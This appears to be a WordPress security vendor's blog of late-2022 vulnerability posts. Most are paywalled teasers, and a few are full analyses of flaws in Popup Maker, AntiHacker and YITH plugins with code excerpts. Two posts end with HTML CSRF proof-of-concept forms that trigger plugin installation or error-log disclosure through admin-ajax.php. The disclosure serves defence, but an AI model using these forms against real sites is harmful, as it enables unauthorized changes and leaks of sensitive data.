26 Dec 2022

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Font Awesome

This post provides the details of a vulnerability in the WordPress plugin Font Awesome not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

21 Dec 2022

Authenticated Information Disclosure Vulnerability in Welcart e-Commerce

This post provides the details of a vulnerability in the WordPress plugin Welcart e-Commerce not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

21 Dec 2022

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Meteor Slides

This post provides the details of a vulnerability in the WordPress plugin Meteor Slides not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

16 Dec 2022

Privilege Escalation Vulnerability in WordPress Plugin iubenda

This post provides the details of a vulnerability in the WordPress plugin iubenda not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

13 Dec 2022

Privilege Escalation Vulnerability in WordPress Plugins From BeRocket

This post provides the details of a vulnerability in the WordPress plugin not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

7 Dec 2022

Patchstack Isn’t Verifying Vulnerability Info Being Copied From WPScan’s Inaccurate Data

Yesterday, we noted that the WordPress security provider WPScan isn’t verifying claimed vulnerabilities being added to their data set, despite claiming to do just that. That came in the context of them claiming that there was a vulnerability in a plugin, where what they claimed was at issue wasn’t really a vulnerability, but there really was a more serious vulnerability. That wasn’t a one-off issue.

WPScan recently claimed that the plugin Popup Maker had contained an admin+ stored cross site scripting vulnerability, which they described this way:

The plugin does not sanitise and escape some of its Popup options, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

As described, that wouldn’t be a vulnerability since Administrators can basically do whatever they want. Testing the proof of concept tells a different story about what was really possible.

The proof of concept involved creating a new popup for the plugin and then following a sequence of steps. We found that it was possible to do those things logged in as an Administrator, but it was also possible do that with users that don’t have the unfiltered_html capability (or the ability to re-add that capability as Administrators normally would). That isn’t hard to check on, as you could simply log in as a low-level user and see they have the access needed, which WPScan didn’t do, despite claiming they “figure out what kind of privilege is required to successfully exploit the issue”.

Just to confirm that, we checked the underlying code and confirmed that when the custom post type being accessed is registered, it is done without specifying a capability required, so it defaults to the “post” capability:

25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$popup_args = apply_filters(
	'popmake_popup_post_type_args',
	[
		'labels'              => $labels,
		'public'              => true,
		'publicly_queryable'  => false,
		'query_var'           => false,
		'rewrite'             => false,
		'exclude_from_search' => true,
		'show_in_nav_menus'   => false,
		'show_ui'             => true,
		'menu_icon'           => pum_get_svg_icon( true ),
		'menu_position'       => 20.292892729,
		'supports'            => apply_filters(
			'popmake_popup_supports',
			[
				'title',
				'editor',
				'revisions',
				'author',
			]
		),
		'show_in_rest'        => pum_get_option( 'gutenberg_support_enabled', false ), // Adds support for Gutenberg currently.
	]
);
 
// Temporary Yoast Fixes
if ( is_admin() && isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_titles' ) {
	$popup_args['public'] = false;
}
 
register_post_type( 'popup', apply_filters( 'pum_popup_post_type_args', $popup_args ) );

That makes it accessible to anyone able to create a WordPress post, so normally down to Contributors.

This was given the CVE ID CVE-2022-3690, despite, as described, not really being a vulnerability.

Patchstack’s Lack of Verification

With the vulnerability we discussed yesterday, Patchstack doesn’t have it in their data set, but with the vulnerability, they do. Patchstack markets their data this way:

Hand curated, verified and enriched vulnerability information by Patchstack security experts. Find all WordPress plugin, theme and core security issues.

The second part of that isn’t true, since they don’t have the other vulnerability (or many others) in their data set, but the first part claims they verify things and provide “enriched vulnerability information”, whatever that is. They also claim they “hand curate” information, again, whatever that means. Yet their listing for this incorrectly claims the required access level is:

Requires high role user authentication like admin.

That isn’t correct, so they didn’t verify things as they claim to do.

5 Dec 2022

Information Disclosure Vulnerability in WordPress Plugin Download Monitor

This post provides the details of a vulnerability in the WordPress plugin Download Monitor not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

23 Nov 2022

Information Disclosure Vulnerability in WordPress Plugin Cost Calculator Builder PRO

This post provides the details of a vulnerability in the WordPress plugin Cost Calculator Builder PRO not discovered by us, where the discoverer hadn't provided the details needed for us to confirm the vulnerability while we were adding it to the data set for our service, so its contents are limited to subscribers of our service.

If you were using our service, you would have already been warned about this vulnerability if your website is vulnerable due to it. You can try out our service for free and then see the details of the vulnerability.

For existing customers, please log in to your account to view the contents of the post.

22 Nov 2022

WordPress Security Plugins Contained Fairly Serious Vulnerability Because of Unresolved WordPress Security Issue

Something that should get a lot more attention and raise a lot more questions is why the security industry’s own software and hardware is itself so insecure. That insecurity is a frequent issue with WordPress security plugins. The latest instance of that involves two WordPress security plugins AntiHacker and StopBadBots, which contained a vulnerability that allowed anyone logged in to WordPress to install any plugins in the WordPress Plugin Directory.

Those plugins come from the same developer and three additional plugins were affected: CarDealer, WP Memory, and wptools. Together, the plugins have at least 22,000+ installs.

Looking at the details of the vulnerability, what we found is that the vulnerability is caused in part by a known security issue with the core WordPress software that was originally warned about back in February 2011, but still hasn’t been addressed.

In the plugin AnitHacker, the vulnerability involved the function antihacker_install_plugin(), which was registered to be accessible through WordPress AJAX functionality to anyone logged in to WordPress:

1042
add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin');

The code around that appears to have been intended to restrict access, as that registration would only happen if the function is_admin() or is_super_admin() returned true:

1040
1041
1042
if (is_admin() or is_super_admin()) {
	add_action('admin_enqueue_scripts', 'antihacker_load_upsell');
	add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin');

The function is_super_admin() will tell if a request is coming from a WordPress user with the Super Admin role in a WordPress Multisite install. In a normal WordPress install, it tells you if they have the Administrator role.

Confusingly, the function is_admin() will tell if an admin page of WordPress is being accessed. That can be true even for those not logged in to WordPress and will always be true when making an AJAX request. So it seems clear the developer thought that the function tells if someone has the Administrator role.

The confusion with the is_admin() function was warned about before it even made it in to a production release of WordPress, back in 2011. It still hasn’t been addressed, despite continuing to be a source of vulnerabilities in plugins for many years.

The function antihacker_install_plugin() will install a WordPress plugin from the Plugin Directory specified by the POST input “slug”:

1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
function antihacker_install_plugin()
{
	if (isset($_POST['slug'])) {
		$slug = sanitize_text_field($_POST['slug']);
	} else {
		echo 'Fail error (-5)';
		wp_die();
	}
	$plugin['source'] = 'repo'; // $_GET['plugin_source']; // Plugin source.
	require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // Need for plugins_api.
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // Need for upgrade classes.
	// get plugin information
	$api = plugins_api('plugin_information', array('slug' => $slug, 'fields' => array('sections' => false)));
	if (is_wp_error($api)) {
		echo 'Fail error (-1)';
		wp_die();
		// proceed
	} else {
		// Set plugin source to WordPress API link if available.
		if (isset($api->download_link)) {
			$plugin['source'] = $api->download_link;
			$source =  $api->download_link;
		} else {
			echo 'Fail error (-2)';
			wp_die();
		}
		$nonce = 'install-plugin_' . $api->slug;
		/*
        $type = 'web';
        $url = $source;
        $title = 'wptools';
        */
		$plugin = $slug;
		// verbose...
		//    $upgrader = new Plugin_Upgrader($skin = new Plugin_Installer_Skin(compact('type', 'title', 'url', 'nonce', 'plugin', 'api')));
		class antihacker_QuietSkin extends \WP_Upgrader_Skin
		{
			public function feedback($string, ...$args)
			{ /* no output */
			}
			public function header()
			{ /* no output */
			}
			public function footer()
			{ /* no output */
			}
		}
		$skin = new antihacker_QuietSkin(array('api' => $api));
		$upgrader = new Plugin_Upgrader($skin);
		// var_dump($upgrader);
		try {
			$upgrader->install($source);
			//	get all plugins
			$all_plugins = get_plugins();
			// scan existing plugins
			foreach ($all_plugins as $key => $value) {
				// get full path to plugin MAIN file
				// folder and filename
				$plugin_file = $key;
				$slash_position = strpos($plugin_file, '/');
				$folder = substr($plugin_file, 0, $slash_position);
				// match FOLDER against SLUG
				// if matched then ACTIVATE it
				if ($slug == $folder) {
					// Activate
					$result = activate_plugin(ABSPATH . 'wp-content/plugins/' . $plugin_file);
					if (is_wp_error($result)) {
						// Process Error
						echo 'Fail error (-3)';
						wp_die();
					}
				} // if matched
			}
		} catch (Exception $e) {
			echo 'Fail error (-4)';
			wp_die();
		}
	} // activation
	echo 'OK';
	wp_die();
}

That code is missing a nonce check, so the vulnerability could have also been exploited through cross-site request forgery (CSRF).

Proof of Concept

The following proof of concept will install the plugin Akismet, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=antihacker_install_plugin" method="POST">
<input type="hidden" name="slug" value="akismet"" />
<input type="submit" value="Submit" />
</form>
</body>
21 Nov 2022

WordPress Plugins From YITH With Over 1 Million Installs Contained Authenticated Information Disclosure Vulnerability

Recently 21 WordPress plugins from the developer YITH have been updated with a vague changelog entry that they “patched security vulnerability”. The security vulnerability patched allowed anyone logged in to WordPress to view the contents of two log files if they existed on websites. One of those could contain sensitive information, as it would contain information logged for PHP errors. If the functionality had previously been used, then other users could access them as well. The latter issue hasn’t been resolved.

Among the plugins affected are the 900,000+ install YITH WooCommerce Wishlist, 200,000+ install YITH WooCommerce Compare, and two plugins with 100,000+ installs, YITH WooCommerce Ajax Product Filter and YITH WooCommerce Quick View.

That went undetected in the plugins for about two years, despite being something that should have been caught if a security review had been done.

Authenticated Information Disclosure

The vulnerability involved insecure code in the function create_log_file() in the file /plugin-fw/includes/class-yith-system-status.php.

That function is made accessible to anyone logged in to WordPress through its AJAX functionality:

96
add_action( 'wp_ajax_yith_create_log_file', array( $this, 'create_log_file' ) );

Before the fix, the function look like this:

410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
public function create_log_file() {
	try {
 
		global $wp_filesystem;
 
		if ( empty( $wp_filesystem ) ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}
 
		$download_file  = false;
		$file_content   = '';
		$requested_file = $_POST['file']; //phpcs:ignore
 
		switch ( $requested_file ) {
			case 'error_log':
				$file_content = $wp_filesystem->get_contents( ABSPATH . 'error_log' );
				break;
			case 'debug.log':
				$file_content = $wp_filesystem->get_contents( WP_CONTENT_DIR . '/debug.log' );
				break;
		}
		if ( '' !== $file_content ) {
			$file          = wp_upload_dir()['basedir'] . '/' . $requested_file . '.txt';
			$download_file = wp_upload_dir()['baseurl'] . '/' . $requested_file . '.txt';
			$wp_filesystem->put_contents( $file, $file_content );
		}
 
		wp_send_json( array( 'file' => $download_file ) );
	} catch ( Exception $e ) {
		wp_send_json( array( 'file' => false ) );
	}
}

That would display the contents of a file named error_log in the root directory of the website or debug.log in the /wp-content/ directory. It would also store a copy in the directory /wp-content/uploads/.

The fix adds a capabilities check, which limits access to Administrators, and a nonce check, to prevent cross-site request forgery (CSRF):

410
411
412
413
414
public function create_log_file() {
	if ( ! current_user_can( 'manage_options' ) || ! isset( $_POST['nonce'], $_POST['file'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'yith-export-log' ) ) {
		wp_send_json( array( 'file' => false ) );
		exit;
	}

It also generates a randomized name for the stored copy of the file:

440
441
442
443
444
$hash          = substr( wp_hash( $domain ), 0, 16 );
$file          = wp_upload_dir()['basedir'] . '/log-' . $hash . '.txt';
$download_file = wp_upload_dir()['baseurl'] . '/log-' . $hash . '.txt';
 
$r = $wp_filesystem->put_contents( $file, $file_content );

What the changes don’t do is delete existing files created by the previous code, already stored on the website.

Proof of Concept

The following proof of concept will display the contents of the error_log file, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=yith_create_log_file" method="POST">
<input type="hidden" name="file" value="error_log"" />
<input type="submit" value="Submit" />
</form>
</body>